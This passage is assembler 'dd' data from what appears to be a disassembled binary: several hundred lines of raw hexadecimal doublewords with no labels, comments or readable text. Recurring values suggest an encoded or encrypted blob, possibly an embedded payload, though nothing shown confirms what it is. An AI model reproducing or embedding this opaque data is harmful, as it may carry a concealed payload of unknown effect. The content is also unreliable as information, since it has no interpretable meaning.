		dd 0BCC8A238h, 0A6E1C606h, 47786443h, 127EBE9h,	435E713Bh
		dd 496674B7h, 2F443DFBh, 0E557C20Bh, 6CEE4FF4h,	822014BCh
		dd 84492D8Dh, 0E0949933h, 96955392h, 97C4304h, 2EAF4E08h
		dd 0D9D28B3Ch, 789C4BDFh, 1146D9BCh, 0BA200AB6h, 0AC0E9814h
		dd 0D008EB6h, 9528A77Ah, 0BBFCA909h, 54CF405h, 5CD0B47Ch
		dd 7E4179FFh, 8AA59E83h, 0F24179CCh, 4C5A1018h,	92C9A000h
		dd 7DB95B21h, 79624A61h, 1CF6402Ch, 0AF986DEEh,	45392426h
		dd 0E1C1A977h, 8B090EC1h, 1050F7C3h, 20304650h,	6F29A3B3h
		dd 0C5DDB6D3h, 31A868F3h, 0C040A33Eh, 0F7DE53D9h, 0DDD59DC3h
		dd 94AD5A3Ch, 367D2739h, 9C985E6Bh, 2819EE1Ch, 7E28299Ch
		dd 9D41DA8Ch, 575391D3h, 0BAECFA91h, 162A34ADh,	5DD08CD6h
		dd 0EEC8884Ch, 0A3E0CF67h, 0A4CF9E0Fh, 0B6C4733h, 79478AD0h
		dd 555646E9h, 0EB7C3DA2h, 0F89F2D94h, 85842514h, 724D2753h
		dd 4773F70Ch, 0D83301D1h, 0F589034Bh, 0B3C0FE0Dh, 1FC6BA0Bh
		dd 0DB1AAC8Eh, 0E5EB3A8Ch, 235F3017h, 68F9C29Ch, 0F4E6DC6Ah
		dd 69FF622Ah, 87AEB69Eh, 6E6C8C3Ch, 8E478AF8h, 14864506h
		dd 20478AF9h, 811A746Eh, 0BC167C4Fh, 17442968h,	0BEC79C88h
		dd 0D45A3B6Bh, 954CD0EAh, 5F079B3Eh, 44E6982Ah,	843F6E05h
		dd 0DBF7B33h, 207EA223h, 0DC478C55h, 46645DCFh,	6E478C5Dh
		dd 5BEFC559h, 0BF776ECEh, 6BB6D85Fh, 84DB5D2Ch,	0DF663419h
		dd 1405E214h, 0A140A311h, 0E3C38170h, 884604FEh, 55E19C5Ah
		dd 0D7F63021h, 9EF305CFh, 6FF3F565h, 0F4460019h, 0E9551F54h
		dd 0BCBE9EEDh, 695E5A47h, 68509319h, 5DB6EA5Ah,	796DF5DEh
		dd 0AD290BC6h, 0FFA796E6h, 0E564200h, 0DF19FF1Fh, 670FA36Dh
		dd 0A2B0824h, 10BC5A0Bh, 0F1172788h, 0F8976BE1h, 0A76FBF4Dh
		dd 0C6F5AEABh, 0EE477FE3h, 0F4A35AC5h, 0C9A0AC01h, 0CD6ADD27h
		dd 0F8C164DCh, 0F655A3Ch, 644200EAh, 57A310D8h,	8D92FBB6h
		dd 6416312Eh, 302FD3E1h, 4C5E6CA1h, 91161DA7h, 0DF3542CDh
		dd 0B0D4CADAh, 6A55720h, 2464B435h, 2E507FD7h, 93378270h
		dd 7BF042CDh, 82B6B84h,	8B3023C7h, 843E759Eh, 7AB4133h
		dd 2DBD590Bh, 24E58B3Ch, 45D714DFh, 85E171F4h, 0B0F513B8h
		dd 0AC0E9814h, 6509F1EDh, 0C4F6C8CCh, 0B1C756CEh, 0C609051h
		dd 0FFE4A90Ah, 79E445Dh, 0E7D45002h, 55BFD590h,	70573E60h
		dd 51CC6842h, 0B7501DADh, 9079C34Dh, 6A5872E2h,	90B059EAh
		dd 0BBC7B0B3h, 323B38FBh, 0FD3B88A0h, 732F5EBEh, 19265FB2h
		dd 83F7CD5Dh, 19265FD4h, 0DF5F0D82h, 44E6DE42h,	0A63835BFh
		dd 80258D1Ch, 8440A1EFh, 95A8436Dh, 0BEEDE813h,	0F3D26DC9h
		dd 0D8FD81CFh, 853CB351h, 67F5905Bh, 6CBE17AEh,	0BB27C619h
		dd 0F4923ADh, 643B1124h, 151ADBBAh, 0AABEB99Dh,	3138AEABh
		dd 7E3AEC5Dh, 0D8184B5Ah, 86F8E6ABh, 193977A2h,	0E36FDCADh
		dd 295EB10Ah, 6416D5CCh, 9FB7A857h, 0BB3A13Dh, 87720D52h
		dd 8D2D48E1h, 8426E1CBh, 0D567A333h, 275FB315h,	32557ED8h
		dd 9F46398Bh, 0E6FC06B0h, 9C426296h, 0A0B2A51Fh, 567D3833h
		dd 557AEF24h, 0EF6B4B2Bh, 89A34404h, 0FB52A0D8h, 854A26DEh
		dd 1F3C29ACh, 8B2837AFh, 180AAD84h, 9CC38171h, 0E4234F4Ch
		dd 65FB529h, 67570A66h,	59DDD0EBh, 58DAE2F2h, 89CB7ADAh
		dd 57CDFEE7h, 16497D01h, 1E7D6812h, 15447435h, 95549183h
		dd 2F2C89EBh, 0B7D0A08Ah, 0F2436036h, 0EF8548D4h, 0F3CB6811h
		dd 965674CEh, 46FB89CCh, 0D87022CCh, 6A06BEA9h,	0B9E6C78Fh
		dd 2B564509h, 8D2864Bh,	2B28349Eh, 0B2113CBEh, 0BE7C1699h
		dd 9263B3BDh, 62027600h, 7F362C49h, 5F9CDB1Bh, 20C9B53Eh
		dd 8446299Ch, 841B2266h, 0A9ED9489h, 0B197F3B1h, 8440A357h
		dd 0F9ED411Eh, 0DE181EA1h, 4DEB59EAh, 99C7FF70h, 74527100h
		dd 0BED8F54Eh, 0DC6BD255h, 0A30E6DA5h, 4A32232h, 112E269Fh
		dd 0EBBB8170h, 7A686AC8h, 0B8B787A2h, 84434959h, 653FA333h
		dd 181B21A1h, 0D0636E9Bh, 847029BAh, 7854DC33h,	4FDDBAAh
		dd 8440B5DBh, 18352233h, 0D064BE9Bh, 0D7634ED7h, 0E65F52F1h
		dd 4ED258Bh, 0B7941CC3h, 23E7F3AEh, 18051C0h, 256DB9F9h
		dd 0DC147BBBh, 3A588D7h, 67B7B5F8h, 7844216Fh, 0D493EC0Fh
		dd 58B672D7h, 8C97DBABh, 783CD9D4h, 11FDC60h, 8440B5D1h
		dd 1BFF2233h, 0D0634E9Bh, 0D6636731h, 8443768Fh, 1417A333h
		dd 0A4524FCh, 762C7D98h, 5C1338CBh, 0BA03A21Ah,	0C9EE7C53h
		dd 136E5779h, 7E8D7DADh, 6177BD7Ah, 4C52FA7Eh, 89188741h
		dd 0FF352642h, 21867E31h, 0E290014Eh, 63D35975h, 8502D35Ch
		dd 0E6109BFh, 0FD74176Bh, 4AB1D174h, 5ACF0109h,	2259DA46h
		dd 0F27DCC4Dh, 5CDD8344h, 72C97180h, 0B9578975h, 471EEEACh
		dd 0DFC93D4h, 0E5BBD004h, 221C6C2Ch, 18186A90h,	1B8FCFD9h
		dd 8C1B4E1h, 820E7B51h,	5D9336DAh, 38E8B4E0h, 98C1A333h
		dd 820E5744h, 0D6736DAh, 8440B4E1h, 84A2A333h, 84493B5Eh
		dd 0DB60A333h, 0DFB7E8FDh, 47BFA26Eh, 8447A26Fh, 0D389A333h
		dd 96BBE6FDh, 0ABC16034h, 8440A320h, 25238EE2h,	0C5A60245h
		dd 0F22A8F2Eh, 36433CFDh, 0ADC19502h, 48F37DDDh, 261C7367h
		dd 7E18F334h, 6440A333h, 98761ABh, 1435750h, 19435750h
		dd 4440A334h, 980F6243h, 0D9439E5Ch, 67D31FD7h,	0ACA0B4E0h
		dd 8440A357h, 0E3B77C75h, 0A6E2A10Bh, 0B5FB7E2Eh, 8043D00Eh
		dd 2292B4E0h, 24BFBDF5h, 1C3FC832h, 8F17B4E1h, 0DD40A333h
		dd 3D449AB5h, 0B8640A7h, 0BF40B909h, 514086ECh,	0A600DA1Ah
		dd 0E589833Fh, 853EECC5h
		dd 2F4A042Fh, 0FB3D01BFh, 710E3108h, 0A1157895h, 0F8D69B3Dh
		dd 81BAD2E5h, 81BAFC01h, 0A10EBF01h, 0F8BEBB3Dh, 92FC0979h
		dd 0A91DEC4Eh, 0AC8664E5h, 1E157B3Dh, 6EC58467h, 7391D3D1h
		dd 430F8C3Ch, 0B5869D3Dh, 81157B3Dh, 26B83013h,	1EFA8ED2h
		dd 0B6FA8DC9h, 6F157B3Dh, 1DAC38FBh, 2A566271h,	0CB5F1641h
		dd 0A1157B35h, 9730B8F3h, 0DCD2F063h, 8AC9EF47h, 0D1AD4D62h
		dd 0A1EB7B34h, 0A113B1B6h, 7F357B3Dh, 4AA53774h, 626C6F21h
		dd 0A1FB6F21h, 72D87B3Dh, 0E4D72274h, 8E6C8E62h, 0BF35EF48h
		dd 0A1154D62h, 0A1EB7B3Dh, 0A113B1FBh, 44357B3Dh, 0D2A53874h
		dd 626C6F28h, 0A1FA6F21h, 7BCF7B3Dh, 96544474h,	8DEFA94Fh
		dd 0FD972C9Ch, 47A855BCh, 4F0F8C30h, 37572D8Ch,	0A91DE332h
		dd 0C5C57A9Fh, 0A1157B34h, 7653235Dh, 0A21AAE8Ah, 0A21AAEB2h
		dd 0A1157B2Fh, 0C05209FDh, 0E41DB767h, 0A1EB19BDh, 9DC84010h
		dd 0DE8A4D62h, 0E94AAA6Ch, 4E848DEAh, 0CFF12CDEh, 21A7798Bh
		dd 0F38110DDh, 74FFB6F3h, 3D0C8B12h, 0BE03EA1h,	1682332Dh
		dd 6C67748Fh, 2163D610h, 0B47651D9h, 0C4DAFB6Bh, 0B84AABB9h
		dd 0F00142F8h, 34C46F9Bh, 0B5450E05h, 7C3E2862h, 3730476Ah
		dd 0E822ADCBh, 0EBEAA70Dh, 7C3E8C0Dh, 3739EE6Ah, 888CD5BDh
		dd 781B855Dh, 0D84EA696h, 0C1498A56h, 296A769Bh, 0A9450E0Eh
		dd 7C3E2862h, 3744476Ah, 0EB02ADC7h, 0EBEAA70Dh, 7C3E7F0Dh
		dd 370DD26Ah, 3205195Fh, 0CB365F6Fh, 0B8C8547Dh, 183FF73Bh
		dd 7B3E26E5h, 57E50D5h,	6E8D8B28h, 7C3E276Ah, 0E5292AD7h
		dd 5547114Eh, 6E8C5903h, 0E42E26E4h, 7C3E2819h,	0B482400Ah
		dd 884AD3D7h, 884AD39Fh, 7C3E2801h, 6A82782Ah, 0F13EAB4Fh
		dd 0C183C09Bh, 295B2A83h, 7CF9E90Eh, 0E13FF732h, 7C3E2857h
		dd 60A8351Bh, 0BE337351h, 7C558E98h, 7AD9276Ah,	7105C3EBh
		dd 1A9896EDh, 0B8F9EC6Bh, 0FF3FE26Ah, 803AECAAh, 6473AFF4h
		dd 48AF99F3h, 7FE595ABh, 6B5E12B4h, 488659F6h, 620F8123h
		dd 5982A82h, 7109370h, 9864AF0Ch, 22F2ED31h, 0FF4E0E08h
		dd 0AB48E9CDh, 0DEA5364Dh, 0E2B0F06Bh, 0F5537124h, 0F38460DEh
		dd 59AB71C9h, 0DF4DC352h, 0C397DEA1h, 0AC6E822Ah, 6C49326Fh
		dd 1F66363h, 8591D68h, 0EA155BFBh, 13BBF286h, 465D474Eh
		dd 21EE231Ah, 0F032D9CAh, 387EFB08h, 808EA558h,	0AF999A72h
		dd 8F3BF855h, 9E0468E7h, 1E6440ADh, 0E33D2ACAh,	902D0047h
		dd 0D31658DFh, 0A58664ACh, 21E8D56Dh, 0C1FA71CAh, 70FDF20Ch
		dd 0B41D5A20h, 1792F84h, 9A61780h, 0AF6FB369h, 20F678EBh
		dd 315DC780h, 8ECF4F34h, 2FE8D9CAh, 29266241h, 14C7C905h
		dd 8F86E1AFh, 2641FFE2h, 4C45A021h, 0C53DFF7Fh,	0CC67C15Ah
		dd 0B093B8DCh, 855EB529h, 0A805AB38h, 21E8D879h, 936BD6CAh
		dd 9E0468DFh, 89051785h, 0DD673112h, 9910B075h,	0FD9A5531h
		dd 0CB67C3AFh, 21E8D9FFh, 357354FDh, 1F79DBB5h,	20F71F0Ch
		dd 35943A95h, 3	dup(3594DE63h),	7511DE63h, 0CFEAD7C6h
		dd 7519EB8Eh, 2D825A4Ah, 0AC8A1763h, 71ECE5A2h,	0BE28DE48h
		dd 7511EE33h, 38D8B1BBh, 0A579363h, 0BA8B7C5Dh,	79AFDAC2h
		dd 11488148h, 0EE9E5E1Ch, 358B7C2Bh, 0FF0439EFh, 38D8B1BBh
		dd 0A579363h, 0BA8B7C5Dh, 799621C2h, 11488148h,	2DB2981Ch
		dd 0E694DE63h, 1E70C0F8h, 8142CE7Ch, 5C6C9A09h,	4D29A505h
		dd 6E90A9A2h, 1354A548h, 2CACF964h, 5594DE64h, 0AE341E20h
		dd 9DD746B7h, 0C0D87F3Fh, 0F094DE63h, 1D6F1E58h, 849F609Eh
		dd 71F0E5BAh, 0A10FA548h, 1E8B7C29h, 71DA25A2h,	21D9FD48h
		dd 38DC5F50h, 87F8DE63h, 35934722h, 6DA94C63h, 48F52495h
		dd 3594E6FFh, 358CF363h, 0ADEDE63h, 840ABB82h, 0B335A5E1h
		dd 6DC4EDBAh, 78298348h, 23A779C1h, 90C7EAE9h, 3594DE4Ch
		dd 82584043h, 2CB70EC6h, 2CB8E6FFh, 35948298h, 0CE58780Ah
		dd 6084C737h, 0B805FAB7h, 7F21AC71h, 0F8CA580Eh, 5DEBEE33h
		dd 2D82482Ah, 0E666694Dh, 0B8ADEB90h, 804285B9h, 38D7CB19h
		dd 0B0F0DE63h, 62A1E085h, 8EF8F5Eh, 3594116Ch, 3123063h
		dd 195E81C5h, 69156008h, 18158737h, 67226FAEh, 4BEAFB00h
		dd 19FB755Eh, 0CF18A60Eh, 809CD7Fh, 7E23120Ah, 87FD751Bh
		dd 2C0B1163h, 1F94DE64h, 0EC197AF5h, 3AACDF4Dh,	0A594DE63h
		dd 0CFEE940Eh, 0B5501071h, 90FB7C12h, 35948349h, 0E730BF47h
		dd 0FBFE12D4h, 13094B33h, 0BA716190h, 842E83C1h, 6AF462B3h
		dd 2D83EB2Eh, 404474A5h, 9357B04Eh, 1F8CF615h, 3B080EAEh
		dd 8B9306B3h, 3594EA6Bh, 6F08FE63h, 0CCC89451h,	0CF176B7Fh
		dd 35943C7Fh, 6FEAA063h, 154AB4F9h, 35940D6Ch, 0D426C63h
		dd 0A74387CBh, 0C831D0D1h, 8F51A4CDh, 48553FA9h, 90006878h
		dd 35948373h, 13E24F12h, 0EFF84E16h, 0EED855BCh, 0B3AC867Bh
		dd 190964F4h, 9BC2BCFFh, 0BA0B26FFh, 2D837E82h,	90EAEAE9h
		dd 3594DE4Ch, 83587543h, 2CB776C6h, 2CB8E6FFh, 35948297h
		dd 0AD59CD39h, 0EA211658h, 719D4973h, 5D0E2A8Ch, 0FC8B7C2Eh
		dd 0C2DED7C6h, 0CC2CEB8Eh, 817E7B11h, 0CCE75D8Eh, 8A3AECA0h
		dd 0C75DFF46h, 6AF5EB8Eh, 2D83EB2Eh, 3594866Bh,	0A3372663h
		dd 1946F875h, 3594EC67h, 0AF4F9163h, 0C5FD47ABh, 794D84CAh
		dd 8B930848h, 3594EA6Bh, 6F08FE63h, 0CCC89451h,	0CF176B7Fh
		dd 3594397Fh, 6FEAA063h, 0B6357FEh, 517B37C7h, 71F5EB8Eh
		dd 3563AFF4h, 0AD0FEBBEh, 2D4772A3h, 0B5C378F4h, 3594DE4Bh
		dd 38FA121Ch, 8394DE63h, 5BAA5FC6h, 3532EB8Eh, 38D8CB58h
		dd 1BF4DE63h, 0B10A638Dh, 0EC13DF5Fh, 38C2DF4Dh, 8AADDE63h
		dd 4357E8Ch, 42946579h,	357A9250h, 2011DE63h, 38328AE2h
		dd 5BA7BC80h, 0F9E7EB8Eh, 7309D33Eh, 71069FCAh,	3594EB48h
		dd 310E2963h, 358B7C3Ch, 1D94DE63h, 3599B051h, 842EDE63h
		dd 9257927Ch, 0B38B7C45h, 3578077Ah, 9694DE63h,	3594834Fh
		dd 2A817053h, 3D45CB25h, 5CDECB92h, 0D020EC77h,	3C13D58Dh
		dd 535AD7CCh, 4894EB8Eh, 3594B4FFh, 7E9F9363h, 848B7B63h
		dd 6DBE2BCAh, 0EA67A548h, 848B7B96h, 1667DD83h,	0AC8B7C2Ch
		dd 71F9D5A2h, 0A2A5DE48h, 3594DF01h, 38D8A750h,	672EDE63h
		dd 0BA556968h, 2D824DBAh, 8B93051Dh, 3594EA6Bh,	6F08FE63h
		dd 0CCC89451h, 0CF176B7Fh, 3594B77Fh, 6FEAA063h, 0FE0F340Dh
		dd 1E8FE9F5h, 3594276Bh, 6923E163h, 9EA5DCA6h, 3594DE4Ah
		dd 0BE3A8BA6h, 0B6A4635Eh, 3594DE63h, 16324C03h, 0B329D934h
		dd 37D87F3Fh, 359439D0h, 38C9F363h, 6547DE63h, 35AC0E40h
		dd 0DE51EFB0h, 47B1246h, 70E22243h, 0E90BEAF4h,	8FCDF4Dh
		dd 0E69E820Eh, 138B7B49h, 2CACFB64h, 5594DE64h,	0B1021E56h
		dd 9DD87F07h, 54D87F3Fh, 0DE94DE63h, 5C4A1E0Eh,	48963E7Bh
		dd 0B1FA1BC3h, 6DC13BC2h, 9357AF48h, 0A48CF615h, 6E8E93DAh
		dd 45838148h, 8E424CC0h, 3594DE4Ah, 0CFAE1251h,	95B6D33Bh
		dd 0C8CC40C0h, 9003EAE1h, 3594DE4Ch, 7E586443h,	2CB8EEC6h
		dd 2CB8E6FFh, 3594835Ch, 1559FC2Eh, 907CF0F9h, 0E627A7F2h
		dd 3532EB90h, 38D8CB09h, 7EF4DE63h, 0F90A768Ch,	0EC13DF5Fh
		dd 3588DF4Dh, 85BADE63h, 0B5A46B8Ch, 35948335h,	0CF933854h
		dd 4843EB8Eh, 3594E9F9h, 10B6F063h, 87629EF8h, 1D9B6333h
		dd 0FC93E4A5h, 35936A50h, 1915DE63h, 59304CFh, 3594EA6Ch
		dd 6FFAFE63h, 0CF18941Bh, 0CF176B7Fh
		dd 3594A27Fh, 6F049E63h, 0B70066C7h, 0E30F1748h, 9E67A5E4h
		dd 0B68B7C2Eh, 6DC489BAh, 1AD70848h, 35D050FFh,	69070FEBh
		dd 0B6E9A625h, 0A9277F2Fh, 0D2925AAEh, 2D83ACCDh, 524ADC80h
		dd 620BEB8Eh, 2D824742h, 30B97B80h, 8594DE63h, 0DEBFA9FFh
		dd 750F52F8h, 2D8247EEh, 9009EAE9h, 3594DE4Ch, 14587643h
		dd 2CB73EC7h, 2CB8E6FFh, 35948346h, 0DF59EE0Ch,	0D8A3A6Ah
		dd 35943A6Ch, 19C47C63h, 0D52231DDh, 0DD70F8B0h, 40187AAAh
		dd 0E2D5FB7Eh, 2F0233A9h, 30AB9F01h, 9594DE63h,	0F06922D1h
		dd 0B20A058Dh, 2D83ACBEh, 21DB29EEh, 3532DE63h,	38D8CB33h
		dd 80F4DE63h, 0E90A748Ch, 0EC13DF4Dh, 3588DF4Dh, 0F7D4DE63h
		dd 84A4438Ch, 3594DE63h, 2C53CE03h, 71EB49A3h, 0F02C4B48h
		dd 3594A35Fh, 3588CB03h, 1A0FDE63h, 0E57A0626h,	61114102h
		dd 430815C5h, 169C6B4Ah, 751877F7h, 2D82F567h, 48581163h
		dd 1F94DE6Eh, 0AE2864FFh, 0EEB29CCh, 2CACCD64h,	5594DE64h
		dd 0B1001E04h, 9DD87F57h, 0C9D87F3Fh, 0EC94DE63h, 0D5191E0Eh
		dd 0F62761Ah, 66642EA1h, 0E06EB88h, 0D12206E7h,	2D830CBDh
		dd 7DD8AB88h, 8494E3EFh, 6DB787DAh, 7107A548h, 848B7B4Ch
		dd 38196CAh, 8F930849h,	3594EA6Bh, 6FFCFE63h, 0C928940Dh
		dd 0CF176B7Fh, 35943C7Fh, 6FFEAC63h, 0B6269532h, 0EE4A8B9Dh
		dd 3AD9453h, 72CBC156h,	97DB5FF4h, 2B11EBD6h, 9E8CA9C7h
		dd 75EC1965h, 85B51095h, 0B9EB29CCh, 6DC9B9BAh,	578C2948h
		dd 0FC2D716Ch, 2BCC2A0Dh, 350C7456h, 0F657EC03h, 848B7C2Eh
		dd 71EF9BCAh, 0BA104B48h, 2D82F493h, 9009EAE9h,	3594DE4Ch
		dd 14587643h, 2CB73EC7h, 2CB8E6FFh, 35948345h, 6D59EE0Ch
		dd 0E93FC6B3h, 0B37D75C2h, 6DC1ABC2h, 9A67A548h, 0B68B7C5Fh
		dd 60A52708h, 0E157A7B3h, 968CF5D1h, 35948350h,	78DFECCEh
		dd 0CF48AAFh, 82DAC62Ah, 0B378138Bh, 5FFCEB08h,	6E87B1BAh
		dd 0E90FAF48h, 138B7C7Dh, 2CACFB64h, 5594DE64h,	0B1021E56h
		dd 9DD87F07h, 53D87F3Fh, 0DE94DE63h, 0CC511E0Eh, 0E577157Eh
		dd 0E6343349h, 6E94B7CCh, 3591F348h, 0D58ADE63h, 0C3D51BC0h
		dd 0E34DA578h, 46E3A61Eh, 35940D6Bh, 68A22C63h,	45084D5Ch
		dd 3EE1D2BEh, 0D29AC175h, 8200DB52h, 2CFA1233h,	1F94DE64h
		dd 46E922AEh, 357EA655h, 852219BAh, 0E22B9748h,	1F53D939h
		dd 2C0179F5h, 0EE661E60h, 8F930540h, 3594EA6Bh,	6FFCFE63h
		dd 0C928940Dh, 0CF176B7Fh, 3594A27Fh, 6FFEAC63h, 0EBD9C68Dh
		dd 3735CBA4h, 0BB52E31h, 524ADC81h, 2613EB8Eh, 0C1D1854Fh
		dd 35307B80h, 38D8CB1Ch, 17F4DE63h, 110A778Dh, 0EC13DF60h
		dd 38BEDF4Dh, 86D9DE63h, 0FEDD8C8Ch, 54CFAFF4h,	359CEB8Eh
		dd 1394DE63h, 2CACFB64h, 5594DE64h, 0B1021E56h,	9DD87F07h
		dd 0C5D87F3Fh, 0DE94DE63h, 75BD1E0Eh, 43C1E5D8h, 35948596h
		dd 4431B663h, 130FD47Eh, 8E571459h, 878B7C59h, 506AD7C6h
		dd 7591EB8Eh, 381A5F50h, 620BDE63h, 2D83275Eh, 5896DC80h
		dd 3532EB8Eh, 38D8CB05h, 82F4DE63h, 190A628Ch, 0EC13DF60h
		dd 38BCDF4Dh, 89CEDE63h, 0BC9D868Ch, 5DEA3E84h,	2D83B4E2h
		dd 0BD8FBC80h, 84E0EB8Eh, 0E267A7A3h, 0AC8B7B79h, 71E8E9A2h
		dd 2E27DE48h, 5FD2D7CCh, 1994EB8Eh, 8709D297h, 2C06D4A3h
		dd 0BA0BDE64h, 2D83A34Eh, 96C137F2h, 7CF5EB9Ch,	7519FB04h
		dd 2D838B06h, 89C1A63h,	2C06DB1Dh, 0BA0BDE64h, 2D83A34Eh
		dd 79C37F2h, 7CF5EB9Dh,	6A11FB04h, 2D83B4CEh, 5C7ECFF4h
		dd 7511EB8Eh, 0BDB25FC6h, 7511EB8Eh, 0BD2A7F2h,	3532EBD7h
		dd 38D8CB05h, 82F4DE63h, 190A628Ch, 0EC13DF60h,	38BEDF4Dh
		dd 89CEDE63h, 7136898Ch, 37AE2054h, 0B20BEBBEh,	2D83B60Eh
		dd 90C7EAE9h, 3594DE4Ch, 82584043h, 2CB70EC6h, 2CB8E6FFh
		dd 3594835Bh, 4B58780Ah, 0F107B314h, 708B7BACh,	71EFEFCAh
		dd 3533BA48h, 8B930863h, 3594EA6Bh, 6F08FE63h, 0CCC89451h
		dd 0CF176B7Fh, 3594B87Fh, 6FEAA063h, 0BCEC25B1h, 13E1B22Ah
		dd 0BA4C29F5h, 2D837EF6h, 3594DE63h, 0D4416C58h, 7D60E775h
		dd 48FADC80h, 2D7DEBBEh, 0BD8FBC80h, 842EEB8Eh,	389306D8h
		dd 6E94EFDAh, 0E454A548h, 0EB44206Fh, 0BF008106h, 8D1A03EBh
		dd 0D6061BDEh, 2E06BC00h, 8A9A873h, 58DEB546h, 0FBBDDA33h
		dd 8BA9D90Fh, 479D7D9Bh, 0B1C416F6h, 280280FEh,	69A7733Fh
		dd 0CDC50ACEh, 458DEFEDh, 81C556F3h, 0E8654577h, 0FA95DD1Ah
		dd 100E56FAh, 55007E0Ch, 67438155h, 0ADADC2FBh,	0CE41EC71h
		dd 781554C4h, 942A626Eh, 0Bh dup(781556DDh), 78014808h
		dd 155514DDh, 878DCA3h,	0E2A7D2B1h, 5F7AA00Dh, 0C6EC88B8h
		dd 0FE87E614h, 725F1D90h, 632F315Fh, 0D9C822F8h, 0FE28FD75h
		dd 7D62C5E3h, 47E6F8A7h, 0FF7677A7h, 0B432BFF8h, 8C9F7BFCh
		dd 0E79FE3D9h, 0B85F13Eh, 0F202E5h, 61416AC3h, 804770AEh
		dd 9FD98160h, 0A0A9ABC9h, 0B3F90FB7h, 0C29782EFh, 59020320h
		dd 1CE88E84h, 6EE6D0B6h, 0B85F287h, 874E988h, 0E0E9D1DEh
		dd 0C7F7E3AAh, 2108DC91h, 8694EF47h, 0E1BC5B05h, 3FA7FA6h
		dd 8287D48Ah, 37BA1B34h, 285DDE46h, 44BE7177h, 0CFEC2F6h
		dd 0BF47C90Dh, 0C0A1ECE5h, 4941D48Ah, 91399D3Eh, 0BA92283h
		dd 0CD81EAD7h, 0C880F80Eh, 0B20D8D36h, 5DBDC118h, 19D456DDh
		dd 936ADA0Eh, 95255E77h, 0FF766192h, 0B2BBFF8h,	9D00FDCCh
		dd 90CED0B5h, 0D404F22Fh, 8688167Dh, 0B85F0E4h,	44098D3Fh
		dd 0B85F09Eh, 7790D88Ch, 3F24360Dh, 0B2A30A6Bh,	7511C818h
		dd 0FDC356DDh, 0A3F91F86h, 3F667BFCh, 0A518876Bh, 0B1D08F2Eh
		dd 9CFA5FCDh, 0AF509214h, 863D3B1Fh, 1CFEF736h,	0C33DD0B6h
		dd 36DC058Ch, 0E3E67D44h, 0A737962Eh, 0CDED73D4h, 4E21BFCDh
		dd 1A391090h, 9599A3EBh, 0BAE55910h, 21B7B87Bh,	92D1285Dh
		dd 0BFB6BB9Fh, 0B90B2EFh, 0C4B09901h, 569477h, 0BBF2EEC9h
		dd 109B77F0h, 0F0A161AEh, 8FDF9F50h, 0D9F0AFA1h, 20CF51FAh
		dd 78EC6EC7h, 564C5FDDh, 0C623F726h, 0D8921F16h, 6D28C2D5h
		dd 866DC65Eh, 0E11DB379h, 6DC90D24h, 7D6BEEC8h,	411D62A8h
		dd 0F8A93ED3h, 0B85E623h, 0BB251BFCh, 17C93DE6h, 0BA85D1E3h
		dd 8F2F300Ah, 0C0A2EC68h, 0DFD049BFh, 34E1CC7Ah, 20CF7029h
		dd 780E34D9h, 566B79DDh, 0C623F726h, 1B49EA98h,	46CE9398h
		dd 3074805Bh, 0F5073FABh, 9BB0940Bh, 8CBC1D9Bh,	3186AA32h
		dd 911844BEh, 0D9B0D77h, 0FBAB4B79h, 65609A4Bh,	3C073FD4h
		dd 6649AE5Ch, 4EB30EB4h, 96AA69EFh, 0A0F91F86h,	8C68E06Ah
		dd 9029C10Bh, 5FC31877h, 0B2A31DCBh, 78EDA818h,	96E356DDh
		dd 115C7281h, 118D645Ch, 0FF492F7Fh, 9F150h, 0A80966C3h
		dd 0C7D8530Fh, 0E24A2E47h, 53815623h, 0A737ABFCh, 3ED5D1B7h
		dd 0F96FEE58h, 0A4BD0135h, 0F69B6F4Fh, 7FC90D24h, 7D6BEE0Fh
		dd 0B99D62A8h, 0CA5DFF2Eh, 0E88DA25h, 2A6186C4h, 526FF047h
		dd 9343575Eh, 5EB1568Ch, 87708378h, 0A5493060h,	46BB8D61h
		dd 6B544F22h, 510BE97Ah, 95544DF1h, 1CCDC3B2h, 5EAA3357h
		dd 0AE23A578h, 474F0BE8h, 0BEEE80C2h, 0AEE4187Eh, 0B91EF4CCh
		dd 30587176h, 0F2B58448h, 39585D53h, 39B5FE7Bh,	34B12775h
		dd 2138006Ah, 0B3181F81h, 0C5C1581Ch, 3B038FC4h, 1D79E635h
		dd 0ED07E26Fh, 187EF5C3h, 755F1971h, 0DE7B56DDh, 3F564677h
		dd 0FE757D35h, 73A606A9h, 0FB544E55h
		dd 0A1577EDDh, 1CD404E6h, 876FDDE7h, 0A5493060h, 0B6F25D92h
		dd 3954F3E4h, 0D0CB4AB6h, 0F4897A10h, 54D2DC32h, 0F5884C9h
		dd 6F9337AFh, 874F068Eh, 75916670h, 0E7CA56DDh,	3A5744A4h
		dd 8B85F115h, 0EC556249h, 8B85F12Dh, 0FE0BB648h, 1A8832F9h
		dd 0F2141DBCh, 0F71BD986h, 0D208DC91h, 5550335Eh, 2618EE3Ch
		dd 0DCAF5C44h, 78155690h, 0DEA36171h, 0B85F151h, 6D31E696h
		dd 1FA9EAA0h, 148E08A6h, 5E327014h, 649C3F78h, 8F6E964Eh
		dd 8D104748h, 5E325B8Ah, 0EEDD6278h, 4E6345F7h,	647EEF9Ch
		dd 0AF402542h, 3116B0CAh, 1FEA145Ah, 334A8CDDh,	0C6820959h
		dd 6AF8CFADh, 0C3B21FA8h, 0B4F62102h, 99EAA969h, 78322775h
		dd 4ADB0030h, 6FB64FFFh, 17C5DD77h, 0FA4CA21h, 0BDB69CC9h
		dd 0EBAB4229h, 0FD604EF6h, 0EDB84730h, 6C2BE75Dh, 76D5126Bh
		dd 4E82B1AFh, 0DC42AC52h, 2FA4A1B5h, 3002817Bh,	0D4176D7Ah
		dd 0D9C7906Ah, 0B728FD75h, 5B4B1060h, 61FCE684h, 44441187h
		dd 6BA31A69h, 0C8D0D66h, 324E7415h, 57DC566Fh, 0C2511A18h
		dd 8A4AB5EBh, 209CF36h,	8A7D6D3Fh, 0F0773EDEh, 751C3E50h
		dd 45A056DDh, 2FD2F0CDh, 2A382749h, 95345663h, 96AD01F7h
		dd 0DBBC19Ch, 2C9ED1E3h, 49D55D6Ch, 0A17D1A42h,	783225FEh
		dd 0FC8E2252h, 91DB351h, 0B7052BB3h, 689B77B8h,	7A0D2A6Dh
		dd 781556A1h, 0F3FA1D52h, 98E62A1h, 4CA5A7C2h, 7819E030h
		dd 23D656DDh, 9411DA9h,	9412A6Ah, 7544D676h, 9A11FDDh
		dd 3E1AA176h, 94129D6h,	78198131h, 0ACAD56DDh, 0F1155531h
		dd 696C60C1h, 781540C1h, 219335DDh, 9411FA9h, 780D6C5Fh
